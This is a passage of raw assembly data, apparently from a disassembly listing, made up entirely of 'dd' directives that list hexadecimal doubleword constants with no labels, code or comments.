2AEAD277h, 0D8879B00h, 0F204982Dh, 0ACB2009Ch dd 84A15E8h, 0DB005135h, 0B6D770D5h, 0D2805Bh, 0B10EAC1Fh dd 0C46F6345h, 33ECD5B0h, 18C85218h, 0D15910h, 2906C63Ch dd 728D0405h, 7FB8205Eh, 17EE0075h, 198609B6h, 0F6E6BC74h dd 5793EF00h, 88DBABCBh, 0F02D4F3Bh, 0D20F5CE7h, 40A7A909h dd 2786F208h, 0FCC400C1h, 40BB4723h, 0B3FA4C95h, 85DB4E02h dd 80444172h, 81DAD24Ch, 65F500C6h, 84E5DE4Eh, 3D007109h dd 0A78634Ch, 532B82h, 0C4EA57C9h, 1B70A745h, 4E0E4200h dd 7F8A8426h, 3A9202F3h, 2BD8ECBAh, 9E1AF060h, 52DF5800h dd 0E17AD403h, 6A8E0064h, 8390C888h, 0FD1C4C9Fh, 4EC04774h dd 0DA846EF5h, 75A700C2h, 0CFF0A159h, 0F60366D8h, 485F880Bh dd 5CC0CDDEh, 4A021Ch, 63C4B103h, 920A3037h, 0A5320609h dd 0ED8D80AFh, 75FD1E2h, 0B4E1612Ch, 58200F94h, 6429AEFh dd 84F7C03h, 739E8D5h, 4B7A70C9h, 0FC8A3Ah, 0A5F9EBADh dd 0F03E8789h, 16E100BBh, 0B877CAB7h, 4A6200CFh, 0ED14F895h dd 74398FA3h, 11C01D3h, 0D60FC7DDh, 78F32BC4h, 73E390FAh dd 1B7A2498h, 3CFEE138h, 27818018h, 0E4E223F0h, 0F8103E5h dd 15AD03C9h, 0F67AB0A8h, 0CC5C4149h, 2E04CDh, 5761A763h dd 0B8172508h, 0D15A3100h, 0A4C45F21h, 133B2642h, 0BBA63836h dd 580038AEh, 0CB52A854h, 3E00569Ch, 7A92C824h, 908459Fh dd 0A5CBEF7h, 51A38020h, 0E6793D78h, 0F93BD109h, 93800B3h dd 18459606h, 4039FA07h, 44421A76h, 0E7593087h, 7F6CA0EFh dd 0D718DFADh, 0F1518177h, 264E07Eh, 0C4E0E1CBh, 3080DB0Dh dd 0CE2DC316h, 8014AE7Eh, 80D40C8Fh, 0AC73D8B8h, 0BC9A005Dh dd 0F7D8372h, 3E0082A8h, 6D56C8E4h, 0E3AD34h, 0E588EADDh dd 0CB479340h, 0F01CBB03h, 0A861ECBDh, 73384Fh, 0E458173Fh dd 0B20B9D4Bh, 22CB1500h, 0DCA57E9Bh, 5D6800D8h, 0F2039972h dd 1B002D8Dh, 0B4B2F9FBh, 0ECFA31h, 9454E5E9h, 0FD205636h dd 0E01E920Fh, 128CA0A6h, 50F93ED1h, 0F2BDBCh, 5513FC30h dd 428FE6CAh, 0A2032998h dd 0F6690288h, 0B93BA063h, 4088DD29h, 0B1062AB6h, 8624EB2Fh dd 0E404584Eh, 9E4040BFh, 6FD732CDh, 7E571001h, 0D32DF151h dd 0C0C2E0h, 0AE1DAB4Ch, 72224667h, 6DC3C600h, 301FECE3h dd 0BCFA00C1h, 31F7E1EEh, 99785DF6h, 4A64B100h, 0D4825712h dd 0CA360EA5h, 7580C0C7h, 0D6D034BEh, 5E3DF616h, 0BF80391Ch dd 26486118h, 672100AFh, 568CDE6Ch, 4D7D93CAh, 0FC0F477Fh dd 44AB85h, 0B570FF7Dh, 0CD77077Eh, 0DAF31434h, 0E1018FECh dd 55836E40h, 130E03FFh, 763C939Ah, 0A220FC00h, 48F18D74h dd 0C113DC41h, 20642D97h, 66003CB0h, 62544EF5h, 17BC2E5h dd 9BAE77E0h, 20A5CEF0h, 9C3B2177h, 6A3F01h, 4812DCE7h dd 0CFE3AAh, 8B237B25h, 327A811Eh, 0B163A600h, 0DFDD3753h dd 65B900A7h, 610EC96Ah, 8C00397Eh, 393E02Dh, 7BD0819h dd 17D48AD0h, 97E7207Ah, 430E9A67h, 6047B8AEh, 516F960Bh dd 60DD01CBh, 534D983Eh, 2263C071h, 37CAEC00h, 2172FF6h dd 5F6107F7h, 204CE8FFh, 0CB7326ADh, 0C42BE900h, 252A6D09h dd 0EF3000D0h, 359E29ABh, 7002D12h, 76A9CA66h, 5CCC59h dd 2E4D0B5Eh, 514B0E6Fh, 6BFFEC00h, 9855D1F5h, 0A08F0039h dd 0A80B477Eh, 0CF008DC8h, 0EA08F020h, 7E85679Dh, 63F80459h dd 834FCA44h, 0DD1B32h, 0ACBD7FAAh, 6B3089A6h, 0F20FD406h dd 0F61C00DFh, 0B444F408h, 7B0CEAF7h, 4037BD6Ch, 99D00FF5h dd 1C274C89h, 822C4075h, 0D400FFE9h, 65976C53h, 7664404h dd 0DF01B479h, 6E0EE10h, 17B729F9h, 3BCFED00h, 688980B1h dd 771D7FA5h, 0B8210ED1h, 0C80D6E0h, 5F5EA752h, 0F19EBB00h dd 0C44FFFFCh, 0E8BD3A20h, 9688A180h, 2324173h, 6F00B7E6h dd 0C812C475h, 1400464h, 0EA1C3C98h, 0D809318Dh, 0F5FAE555h dd 1B5A5807h, 1EA0B287h, 73247A1h, 761C2B7Fh, 0ACB45065h dd 0F107487Ah, 0F2B2C47Dh, 6A7E04E9h, 0D9733490h, 5D70A5h dd 0C7342540h, 0C5DCDBE3h, 0DE7BD807h, 98912313h, 0D8511AE4h dd 44E86BBEh, 0B7E202BCh, 83ABDE9Ch, 316A9880h, 0A057A8A7h dd 1AAA11C0h, 0D280E043h, 0F57A87F1h, 6B0BA81Eh, 2B182198h dd 29FA037Fh, 0B77C0A8Bh, 46EF7598h, 5A00E0E0h, 53EDCC04h dd 92490803h, 4E760058h, 0E9690A06h, 7E00ECFCh, 207D0ED9h dd 1DABF088h, 0C7A9BDF1h, 304307D4h, 0BA1E391Ah, 8A9E7A00h dd 9F6338D3h, 3BF2E5h, 0B4D648BFh, 0F2ED266Dh, 98C36100h dd 0DEEEAE64h, 849F00CBh, 3CD8EB1h, 0C90F19BBh, 8117A813h dd 0DD3AB0A6h, 9BF8E4h, 0BA479571h, 6C150BB8h, 0FD00E17Eh dd 0D502AE8h, 0C4B7B27h, 1C3F0716h, 0F007ABDCh, 2CF4E2E1h dd 3F87CCD5h, 0ED48F690h, 52E08Fh, 1ABF7C64h, 77EB132Dh dd 0F0D0C050h, 3FE22F00h, 8216A8B3h, 4C99031Ch, 58EEA7D3h dd 71A3690h, 0F63A7200h, 63054CBh, 667E0C82h, 0A53AA24Bh dd 7D773400h, 0F26D67F3h, 0F22A7D72h, 47DE3DEAh, 0F4A808BFh dd 98FE00E4h, 9CCF81C1h, 12E828CEh, 847AC90Ah, 630610D5h dd 339EEB9h, 20875F89h, 1CA04928h, 0FF7C24FBh, 10512F37h dd 3AE8EB00h, 0C407846h, 0F0B7A2ABh, 0EF009B48h, 16D92813h dd 603BE2AAh, 492B61E7h, 0FB00B168h, 85C66D78h, 549231h dd 0C1A5387h, 3F8E71CAh, 1426607h, 94EA05C2h, 30B0F78Ah dd 2AE83F17h, 0A6A58300h, 37399B9Fh, 6572840Fh, 0B6B4A026h dd 0FA425644h, 0E3F200ECh, 46CCC04Ah, 0A91CC3C2h, 1DC02DC1h dd 8073155Ch, 740800AFh, 0D265D2Fh, 0A30053A1h, 461756EAh dd 0C42DCEh, 0EFD549DCh, 208C23D3h, 0A24EB100h, 71B742A7h dd 5C1300A5h, 0C98B1B7Fh, 2200B8F7h, 4E38B02Ch, 0C7FC78h dd 7BBF1C66h, 46AF9F15h, 44DEB0A0h, 0A0FE8BF6h, 4BDC4D00h dd 94A33E2Bh, 14060B92h, 9A872DA9h, 0C445A09Dh, 6400AEE3h dd 2898BB72h, 0C93B69h, 70795124h, 1D522EEFh, 0FE3C1402h dd 8109BD78h, 0C97FE4B8h, 9BD82131h, 157D009Eh, 0C18A4EF2h dd 0AF6037A2h, 500A7029h, 71AE00C8h, 84824851h, 0CA54C1C5h dd 0F53A3EDCh, 0EAE080ADh, 0D7F09AF3h, 0E3B80E73h, 5F613574h dd 242D448Ch, 43003324h, 81837776h, 3BEA526Fh, 5C02F525h dd 0B3C8CDFAh, 1D28E4A1h, 47A3D47Fh, 0BD5A000h, 0A18E5749h dd 7B800176h, 64D3949Ah, 0FE984230h, 8310FE40h, 0A3F48C00h dd 84AB605Dh, 1F0B06F2h, 81A673E5h, 9DB9980Eh, 906898D4h dd 11790C0Bh, 5121C46Bh, 505CE000h, 4538D7F7h, 81AA16F0h dd 4AEC0093h, 2098217h, 4184FF00h, 36834BD5h, 7B1B0098h dd 9B923C7Dh, 28003530h, 6F8A5F09h, 0BF6474Eh, 0B4ED5C3Fh dd 0D05705C0h, 5A1A2300h, 4301107h, 0F8787AD1h, 840A1DD5h dd 44F98748h, 4016805Bh, 0FA3B89D8h, 3D100F6h, 60320CDBh dd 0C07F5B3Bh, 3923BB6Ah, 0D0849103h, 80EE2C5Ah, 1D7D2DA4h dd 12254E6Ch, 958300EBh, 0BAF6579Bh, 0D9AB3D00h, 254B283Ah dd 284552A5h, 4FC686A0h, 0F1470984h, 0DD00DCCEh, 0CF669C6Ah dd 450A5506h, 0DE784195h, 0C54906C0h, 6900B8DFh, 9EC8EE88h dd 280CA041h, 1740E58h, 602E89AFh, 0E0EE83FAh, 8CC9827h dd 8494Ch, 3546E99Ah, 0CA2DAECh, 2A03DB7Ch, 500BA34Eh dd 92E3C002h, 6699000Ah, 0C60F1B6Ch, 0D8037025h, 321D4197h dd 0A5A6C880h, 0E1F20137h, 44A1CB9Eh, 9A2A83B0h, 0D081B8E5h dd 7975B4E2h, 0A8D00407h, 0C0D63951h, 0DAF28713h, 2B024D00h dd 2D96771Eh, 25E7000Ah, 84B51AD6h, 580072CDh, 0A7223F60h dd 65A8B5Dh, 0B8B92573h, 4307486Bh, 0B00ACFB6h, 9D8B2660h dd 80567CEh, 1620FC8Dh, 0E19F9A12h, 0BC48B201h, 0B8D0CDD4h dd 0BF393004h, 59E82090h, 1A1D600h, 0F7CDDA80h, 7DB4361Eh dd 437BB170h, 0E03A33F0h, 0ADEF8ADCh, 69061C9Dh, 0F8581083h dd 0A0F4FC8Dh, 42FCA254h, 51B24068h, 12ADC10Ah, 0AFC0549Ch dd 160AE7h, 3C03715h, 7AABE923h, 0D12E071Dh, 0AFF44300h dd 2D624Bh, 0B0634482h, 0FB7CA97Bh, 33031DF8h, 0F6E36C65h dd 0B57EF856h, 819D0ECCh, 1A00A204h, 62C17AFEh, 5DBA700h dd 96E64811h, 1B85004Dh, 0C97D6917h, 0BF004B4Eh, 83A55F19h dd 5A0FEFh, 396216B8h, 0F68D4F69h, 26120C00h, 0F5526402h dd 0C57A03BDh, 851F04E1h, 0ECF48BE9h, 9A008121h, 7B10D64Ah dd 395CDCh, 947349ACh, 372D5DF3h, 4243DB1Fh, 4FD2807Dh dd 66C8A670h, 89E600B8h, 2CBDFA10h, 0ED00CE3Eh, 4E914DACh dd 14123Dh, 45A01DDCh, 78A2025Ch, 0B900467Ch, 0AE40A62Ch dd 0B1FE98h, 207742C9h, 9AB9EEFh, 2C51E03h, 0B0FBAE43h dd 5B4DA5Ah, 426FE3CEh, 3CBF80C0h, 5D906428h, 0A980F607h dd 7D405C84h, 53020B2h, 16A00868h, 9861C635h, 11F1F801h dd 8978ED7Fh, 138B7E0h, 1A282936h, 83AF13CCh, 0F8EC2F71h dd 64B00F39h, 0A201D24h, 0E3D14F0Ch, 9DDAD800h, 5984E54Ah dd 14DB00CFh, 2BA81655h, 0B93D8233h, 51890145h, 5803D48Bh dd 0FE90F740h, 2703D37h, 40837980h, 0D0EBFD27h, 0A059BA00h dd 3F9DD6BCh, 0B27C0042h, 11D78F7Dh, 1C12ADCBh, 0A1AC5C43h dd 58598000h, 0D74167Eh, 65A9E400h, 1B5DDB69h, 886B01AEh dd 5CD743CFh, 67F02E48h, 2B7516B9h, 83E5012Eh, 8C2D7082h dd 30BBF308h, 16BE0030h, 4A04BC87h, 0BD60C21Dh, 83C1C818h dd 85DF003Dh, 1419C322h, 8A1FF80Bh, 6D00D203h, 52FD2E7Ch dd 88423084h, 40A74998h dd 19F2A41Eh, 0DE8FFB00h, 300A9EF3h, 0E870F004h, 1F00F4FEh dd 91C498B9h, 0E8C31C74h, 20F6608Fh, 0F4F19AC1h, 3E4CE41Dh dd 0DC931D00h, 735E43h, 0BD014BFCh, 6BF7680Eh, 7857EA31h dd 0C9DBA0B8h, 0A3E0FF09h, 0E4340667h, 206541AFh, 0EE752900h dd 0E37BB8BAh, 0C3AE01CFh, 3A5E34C4h, 0FB88F58h, 73D06578h dd 0B8BA5083h, 86929Ah, 10C44D5h, 0DAC6390Eh, 31183A00h dd 3C4181B9h, 8AF23FB7h, 0F8809238h, 0AF53500Fh, 8200DA62h dd 5FA5D69Fh, 477E4Eh, 5C184B2Ah, 0C78F2E71h, 8566500h dd 9922EF25h, 7B9B3D26h, 947D0600h, 13E8B01Dh, 24B8C600h dd 0E94FA090h, 0C7F5001Fh, 84AE2258h, 9E0063FCh, 7855828Eh dd 3CCF3E9Fh, 0FB00C5B1h, 163906DBh, 0FE00F44Fh, 0E4332ADEh dd 7C9A6831h, 0EF9C0029h, 811E4CC1h, 0FA1E882Dh, 0D003FF17h dd 0E8A0896Fh, 17D3CB53h, 0C9CCE78h, 3B201BE7h, 0B57BEF00h dd 31E52459h, 26420CB0h, 4941D416h, 40DAF81Dh, 0F9681FD8h dd 7AFE98h, 789AFAD3h, 0B7058663h, 0A2843A0Ch, 3211817h dd 0AEE58D08h, 80EC52BAh, 0D705AB4Fh, 0F46B1E00h, 0ECC0865Bh dd 0BA870781h, 0CF479812h, 0AEC69500h, 0C900AC03h, 0D7484DB6h dd 0EB676Fh, 49145BBFh, 39FBA362h, 8597EE00h, 46CAED8h dd 78E21F61h, 82C28090h, 8743AFBCh, 0F8768630h, 1C55F4h dd 453C8881h, 94704A92h, 0A402D100h, 772D5279h, 1FEA03F6h dd 88590A50h, 196E9D0h, 0BF24C03Bh, 329B009Eh, 77E10940h dd 22A700C9h, 3073F7ACh, 41004612h, 0AFAAE7ADh, 0E46614h dd 0B3920AFDh, 4B515F9Ah, 28A530C3h, 0D3380FA8h, 0F9615E5Ch dd 20074D0Fh, 76003528h, 0DC12D8E9h, 58D2DFh, 0C29915BAh dd 0CCA43156h, 0ADB2E00h, 0F529DC97h, 44623FD1h, 0BD763801h dd 0F0AEF739h, 0C407F4CDh, 4B95FB4Eh, 79698B3h, 0A8879331h dd 0A67603Bh, 0B3001480h, 0CFC8B96Dh, 3AA5C42Ah, 0A160C05Bh dd 0BB0CEFD6h, 0F05FF900h, 0E2D4A74Ah, 3F2AC044h, 0D88AE72Dh dd 0F88F2B00h, 4F41D548h, 0AB360028h, 52F498C6h, 38DFFDB5h dd 0A480AC5Eh, 33F585E7h, 0E65018FEh, 587F69B6h, 0D1D76703h dd 8B80E75Eh, 388EE4h, 0B173D922h, 0EA32C398h, 18F31D30h dd 0DCAF3Ah, 8A02D893h, 6FA0BA2Eh, 7F4DFD01h, 0F373CFBCh dd 3F9E68C4h, 0B700240Ch, 0E2C08BA1h, 0EA031EB2h, 0F66D3241h dd 581780F4h, 82BB0019h, 0F3BD454Ch, 180040F9h, 0C44FF867h dd 3FFD577h, 0B9AA61BAh, 0DAA363E3h, 0B3651FC0h, 0D225C10Fh dd 0D2F077Ah, 389D8EAFh, 75D1C20h, 257CC0B3h, 0AC1D9018h dd 0B0BD674h, 0DFE3A5h, 703E5842h, 0F030CFCDh, 89EF6383h dd 0D39F8101h, 9D7FBB16h, 77A01047h, 3A68F9F5h, 0A0E02B87h dd 165B1C81h, 10CD4A00h, 77A00B94h, 9898E82Ch, 9A41C0FFh dd 0D1216F2Ah, 39F4E9F2h, 18EA3F3Fh, 0F9209C1Fh, 0B37E000Ch dd 0CE1E9AFDh, 6038361Bh, 9FDF05F0h, 8001C44Eh, 5629A76Bh dd 0D2929857h, 0B35A40C7h, 6EB50079h, 43926D52h, 9900A46Ah dd 0C51B65D1h, 5FB456h, 0E50A369Fh, 0D546C43Dh, 0F090827Ah dd 0F866EE01h, 7C7D2873h, 5C39C887h, 7617A08Eh, 0E20FE170h dd 0F9DF0Dh, 1A363AFCh, 32500FAh, 8E8267DAh, 5300E70Eh dd 3A931315h, 0FC1E52h, 0B0C25F89h, 0F7AF1764h, 40D7980Eh dd 0F4CA00FDh, 7B656735h, 3A75B4h, 51C5E155h, 17D527F0h dd 4F40C00Fh, 8F8BC07Dh, 0CC6ABCh, 0DEBBB4CFh, 26092E1h dd 0B9CBE200h, 9E5DA30Ch, 49BE18D3h, 5ACA90D9h, 9F632B1Fh dd 0AF4A1A04h, 0CFFF47F0h, 2EA089C0h, 7B5AE6Ch, 0DFB40F18h dd 0FA306818h, 8BAA0673h, 0F0DC6EA2h, 1A765907h, 8B5B577Ch dd 0F8EE004Ch, 2D93BACh, 41FA3AAh, 2C8116ABh, 1B7A548h dd 1B08E6C8h, 8AC75902h, 10C202A2h, 8B40CFA6h, 889E7E36h dd 9A026631h, 87DF041Ah, 4C7420FDh, 0D08D8B7h, 80260FFCh dd 0DCC546C3h, 98D806A1h, 7CF98E59h, 32371FFEh, 7D102261h dd 5314AE65h, 1800587Ch, 0DD948CAh, 3084E7F0h, 5A59575Bh dd 0CA88E3E4h, 58F704F5h, 2002CED8h, 81928261h, 5FB18387h dd 0CAAA70h, 935BFC38h, 3E2BD6Fh, 0C5723C00h, 0C012E889h dd 888E1463h, 1700DCDFh, 2E75A70h, 5100DCF0h, 42D3924Ah dd 0FEE441B2h, 8113060Dh, 71B91BACh, 67CE3A00h, 0F6DA7406h dd 42882417h, 201B1A0Eh, 0C7E95943h, 0DADF4F1h, 7700C8F6h dd 5883D878h, 405C5Eh, 4B62F967h, 3CFC2B65h, 0DC34C700h dd 0EC278941h, 0A5D70057h, 81D1C6EAh, 3C0C1FAEh, 3160A058h dd 0F11C6191h, 0D4DB6B93h, 0C0773D57h, 63F0FA03h, 0F38CBFA8h dd 0C20E9F1Fh, 80286741h, 1EE1F8BCh, 0FD542402h, 0EC5F1F28h dd 50861872h, 0E30FEF0Fh, 0E0028A90h, 0A5E08884h, 8D82007Ah dd 0D40F09F4h, 189083FBh, 0CB491712h, 8D893445h, 69C400FEh dd 0D0073632h, 386EA1C0h, 0B8025127h, 0CEF2009Ch, 7F310173h dd 720548E0h, 58E15FF0h, 0B1C2B400h, 74B2DDh, 64A0EA73h dd 0FCCEE560h, 7963C400h, 0BC65DAEDh, 21C7106h, 0CF9C26C0h dd 84003C1h, 0E00E45Fh, 0AB478BECh, 42132Eh, 0E93953A8h dd 30A50A59h, 0CB2B3E00h, 97E81404h, 92DC790Ch, 4BF80048h dd 0D86A9057h, 2E3DD2C0h, 72068FE0h, 238520B6h, 70CF307Eh dd 1BFB0361h, 0E8259373h, 89C800DDh, 0B5A12A8Bh, 0EAF56000h dd 424AC16Bh, 0C0CA0008h, 1ECE7220h, 0DE00BC8Eh, 0CB127FB6h dd 7CEC1C6Ch, 0F0F51D3Ah, 90CF0051h, 84C5E85Eh, 48AC345Fh dd 1977960Eh, 3BF38EA3h, 7F17C2C8h, 0E5104E00h, 63714001h dd 5CA3E6Eh, 0CED610E1h, 3A288F5Fh, 52C10073h, 1FC37642h dd 8153C90Dh, 646B304Ch, 0A5DCE81Ah, 3B990500h, 594873B0h dd 9018039Bh, 85A69AF7h, 0FCF9B4C1h, 6E005BCAh, 35846A46h dd 0BAEDF4h, 0ECE80604h, 795824Eh, 14C4D900h, 138CF5B0h dd 9CF4002Eh, 3AB67925h, 31009D72h, 521B2B45h, 39EA5AB1h dd 0C1384655h, 49EDF280h, 514D7C67h, 80B16E3Eh, 9711080h dd 1F0B873Ah, 0E10F2Bh, 7FAEF9C4h, 1577B06Ah, 0ADB3F400h dd 5EA804E9h, 19CD9029h, 0F85A91FEh, 0F61880BCh, 0FB8A131Bh dd 601490BBh, 0F97180A7h, 89043BAh, 0AFEC3300h, 0E2599C45h dd 570A0388h, 7A5F32DFh, 0F3BA70F8h, 10F29E03h, 0D14E13A4h dd 38E00626h, 1FDF01A0h, 0E5B1BBB3h, 4703C4EDh, 0CC98FA01h dd 82790FB2h, 8DB7D4h, 0A1CF6376h, 2011E037h, 2623B42Ch dd 8E83C400h, 43046Ch, 0F56FDFD3h, 0E7E10564h, 61CA7700h dd 6C0EFEC1h, 82E500BAh, 3F70C4EFh, 0D20F8913h, 8273E864h dd 0C0B4039Fh, 3114C9h, 0AAAB9981h, 0BA0C93B5h, 92D1A05h dd 0B0C030F1h, 0E29698h, 0C4A4FDAEh, 0DB8E7271h, 8D0437B8h dd 5C2CCEFh, 0EDB68EC0h, 626D075Eh, 0C0E80835h, 321E7D76h dd 0A53D4E00h, 8F1B8223h, 99950EC6h, 0A4DCB363h, 5547000Eh dd 31306209h, 407D5400h, 1538135Eh, 0D01F0341h, 0E8795201h dd 0C9F628FEh, 885B7C88h, 0D140FC75h, 2EC24435h, 22369420h dd 0B53159A8h, 0C17151C9h, 12371E11h, 0F6148124h, 8D01D384h dd 0A6C10D0h, 507DEA9Dh, 61E53C70h, 670951A3h, 41201CCh dd 50AC299Ch, 473C11DBh, 50610511h, 0C70CBFAAh, 515F987Dh dd 0C157202Fh, 0D38811E6h, 28BC6390h, 50009214h, 8B4C3F01h dd 1B4B33h, 7261AF51h, 0E9485E1Fh, 600D8F00h, 192F536Bh dd 46DF00F1h, 0CCD6B7FCh dd 5E00CB79h, 4F8556A9h, 0F16B04Eh, 81983C9h, 404DC867h dd 217BD547h, 0D1A20905h, 36C0F36Bh, 9B45BD0h, 0FBC95259h dd 69FF5480h, 0B30FDDDFh, 8039C087h, 0FE040A1Eh, 24F600B2h dd 2C08466Ch, 95EC346Bh, 0E035C524h, 0C1005217h, 5E7F8D07h dd 2D051C8Ch, 62CF411Fh, 0CC26819Dh, 47001DC0h, 0CB3448ACh dd 1F06F4Ch, 14DED8BDh, 0E01BF1E6h, 55004117h, 0C8B66862h dd 8CC17Bh, 4709ECABh, 3C9A162Ch, 6233B21Fh, 260868C0h dd 12EEC1h, 4796F0D0h, 0EA1B87CDh, 0A883E502h, 0A05BB750h dd 0B49F49Ch, 21B20096h, 126595C1h, 293C4D59h, 0BE5F8015h dd 0F598272Ah, 7880152h, 701A6697h, 0C879CCC1h, 16D56C00h dd 0DF6D9937h, 406700A9h, 9A38482Ch, 0C33B25ACh, 11EC00FEh dd 30396BCDh, 0E3B3001Ah, 0B5F6FFD9h, 0B7005D57h, 2B4A9F42h dd 389E4DA5h, 710F3226h, 3B406704h, 9FF5F0A8h, 0D8AB7702h dd 8079E419h, 0DB16F90h, 0B6F40042h, 0A40B1E48h, 0FD005759h dd 0C6B985ABh, 3C4E7DE9h, 0FB1D6816h, 0F2324060h, 0FA24B555h dd 29E2600h, 0A1D6088Eh, 3B75001Ah, 0C5351F62h, 17E0E31Bh dd 0F30009B0h, 15631201h, 3AE9688Ch, 9D031C65h, 526492DEh dd 0C8A7B1A8h, 0D0550D01h, 0A289EAF7h, 0BF50C8h, 75787B95h dd 41FF0E4Dh, 352A3B12h, 44E62C07h, 2013D2A0h, 639400B5h dd 45F65F02h, 8100DFB4h, 0C4D3E85Dh, 75482Fh, 18F89342h dd 16B8B68Ah, 81200890h, 87E20064h, 89BB50BAh, 0E90F78B3h dd 0C783ECF4h, 0C7B0FDFEh, 397FD5h, 850EAE3Eh, 0C57492D1h dd 0FF242F79h, 710B8768h, 4560043h, 0E4CDDh, 0BCD9481Ah dd 0FC341884h, 0E717FB00h, 4A1354AEh, 16C00089h, 66F33AF5h dd 8F3C2AA3h, 96911FDDh, 0D072A09Bh, 7795Bh, 1BECE2E6h dd 0DD7A901Fh, 0B97B8700h, 8DA0EEE3h, 41CE014Ch, 0DC27720Ch dd 2257DCA9h, 17DE6507h, 8D25F960h, 3CC6D280h, 3977CD9h dd 0F39C9289h, 4FC81605h, 51070420h, 6A393A08h, 38D1D000h dd 53931DEBh, 0ADCCC54Dh, 7CAB8083h, 0EE001A35h, 0B0096E50h dd 483CE502h, 0A6003A1Ch, 7AC15DADh, 2B009A36h, 6D04B8F4h dd 6BEDC3h, 0F7DAE706h, 609B93D3h, 67E55D00h, 10AC72FAh dd 31180AB9h, 7A5941Dh, 0D384DFF9h, 4CB0F7E4h, 0DC01B59Ah dd 0DA02F66h, 0A8E761D3h, 127BE060h, 4B44302h, 80B914C8h dd 0DA655E95h, 3933DB00h, 0C6D59BE4h, 7CBA008Eh, 0D7759D63h dd 0F7005A11h, 0CFB74730h, 5AB9BE9h, 0C6172D5Fh, 11B4000Eh dd 917B3189h, 0E5D6D000h, 0A3FAF88Fh, 21E90F15h, 0E4207669h dd 5D5229BCh, 534D9A00h, 0C6A1ED32h, 0BB7EBEh, 0E27AAD1Eh dd 9699A4DFh, 0A4C32A3Dh, 25005B5Eh, 0E93E5B09h, 227D00B8h dd 0D5F6ABC7h, 4B006E8Bh, 463F5112h, 0F7502A4h, 9163AE90h dd 2B6B5F80h, 0CA781BBEh, 1462DF01h, 9F07445Bh, 75E070h dd 3A0D3873h, 3E014D50h, 0E2295601h, 7EDC60A2h, 23C012F1h dd 0C1FEA8h, 212285FDh, 0F6D28A91h, 9FF3DD00h, 0EA3D92EBh dd 632D00A3h, 9A400D37h, 0AC0052E1h, 0C4ED64E8h, 2769BCh dd 41674E0Eh, 8B1D5B1Bh, 0EE977C07h, 0F82039DCh, 98933F28h dd 98DB00B4h, 3EFA851Dh, 0F60157E7h, 5861F536h, 93F48294h dd 85FC3C3Ah, 0A5C9FB01h, 0EBC16CE1h, 1DFDE390h, 7464960Fh dd 50CD209Ah, 7B6615B6h, 576D9h, 23D629A8h, 385198Fh, 0E5635E2Eh dd 20044C00h, 98783EB3h, 3C2E0FAh, 63D76839h, 0C1F80B56h dd 0B300C3E2h, 43951628h, 0BD9EFFh, 0B152CB7Bh, 7D53909Fh dd 0E0B98D00h, 41D298B4h, 6F3B037Eh, 7710D070h, 0F4A17CC8h dd 5B1E000h, 81B6A226h, 6ACF00A0h, 0D282725Eh, 1600AF06h dd 7A3D86B0h, 363F80Fh, 89D3DCC1h, 4CB8691Bh, 5A06B07Bh dd 2E22C672h, 0DC650350h, 0EA8D246Dh, 571601B0h, 2B91D10Fh dd 0A8376097h, 0E28062Dh, 92D67049h, 0FAD97960h, 5D3E3A7Bh dd 367E804Eh, 349F218Bh, 33FE00F2h, 32565F15h, 9A00F5E4h dd 249603C8h, 1279DDA8h, 9A557h, 0CC68C555h, 4C00C72Ah dd 954A35A4h, 0B95C25h, 0AF225553h, 171849EEh, 77EAB058h dd 7E608313h, 3307A800h, 38FB706h, 1FA9EA12h, 22C0DE6Ch dd 0C200E547h, 0E06487D9h, 102416Bh, 5FAF74B6h, 0D87B1E31h dd 0D7012BEEh, 8167784Bh, 57F07C94h, 6E5500E1h, 8823A165h dd 7800C4F4h, 0F99ACFB1h, 0E359054h, 0C31FEF36h, 0EEE6B060h dd 0DC029E3Ch, 3998406Ah, 56BC00Ah, 386C4D2Bh, 0BF552A00h dd 0C8AB42D7h, 0D796D00h, 0ED6EA9B4h, 0EEB000F0h, 275E95E1h dd 9C0171A4h, 264D2184h, 14D411F3h, 0E07B03DBh, 0CE1A6D0Eh dd 94921ED8h, 5C588726h, 0ECF6EE00h, 74DD6CBEh, 3BFA3C39h dd 1095AAh, 0C2176118h, 26D2D05Bh, 37431500h, 0D467CC28h dd 407F89h, 0BF5E09CDh, 0F1466F84h, 0F27E2101h, 0E1CB5516h dd 9487A9F3h, 57E447F1h, 91FC74h, 17C6C2A0h, 5C98885Bh dd 50BC1B00h, 7A1ACE0Eh, 0A4040E91h, 0C840058Eh, 0D8EBB131h dd 0CDF59E00h, 0D942B0E9h, 4491008Dh, 61AF4D9Fh, 0AE780815h dd 80A4134Dh, 0CE598CECh, 58CA0716h, 30438296h, 57C1402Ch dd 0D00FB72Ch, 0B35ABD01h, 80C821FEh, 0CEA000D1h, 2D598AFDh dd 7C0104AEh, 2129DB4Ah, 0F2D8B8D8h, 0E8BA30D4h, 56EEC5FAh dd 2957D100h, 5164FF7Bh, 82440309h, 1025DAD7h, 8C6CECF0h dd 5DC8AE00h, 0A171EDADh, 0C9FA0153h, 0BA09C1F3h, 0D45C215Ch dd 0F23FD472h, 0E61780E8h, 447A997Bh, 0FD2BECFAh, 1ADDF0h dd 0EF1E2916h, 0DF0E8FA9h, 5189460Eh, 9F938026h, 0A56E52h dd 0B46BE61Dh, 76ABC39Dh, 2914DA00h, 59AEE272h, 1B030061h dd 0FF33A7E1h, 0C7004D82h, 0E4AFEC5Eh, 0A58901h, 0A8B27636h dd 0E0DCB19Bh, 4406649h, 5AEE0EADh, 0DB0BA0A2h, 0E000DC8Dh dd 536AD7E3h, 55EA510Eh, 6F4215Eh, 18301DDAh, 0DEBD1645h dd 427C00ABh, 0B17F76A7h, 25ED1307h, 49E5B221h, 1B33A87h dd 3980EF68h, 34F351Ch, 0F3C719F1h, 209F4A51h, 0E6AAFA37h dd 22EEB700h, 965449D5h, 7BB9FCF2h, 7B20028h, 4F0BBB1h dd 1A4F1D9Dh, 3EE36900h, 5FC24Bh, 6A97FE13h, 99F473C5h dd 2F4D0F00h, 27554EDAh, 8620E15Fh, 6B1AC076h, 0B15C8E52h dd 0E623200h, 3E2A9EB2h, 6E090181h, 0BC8CE629h, 0FC87E4E8h dd 4F765000h, 8F797745h, 73BB00F9h, 15631783h, 0EE09E7D8h dd 10327824h, 0E4C66950h, 3EAA006Ah, 0E877D6B7h, 40F1D1C7h dd 0CE744494h, 3045A000h, 2E1D87DFh, 5A90125h, 1FF2F95Fh dd 0EFA2DCE2h, 0F812102h, 8E51491Ch, 5464E0BCh, 585546h dd 0CBBE22A7h, 0C28A9B61h, 1FEEA200h, 9DEDE35Ah, 0C9F2002Ah dd 7854F7FDh, 55072686h, 0AD53C767h, 7B287E60h, 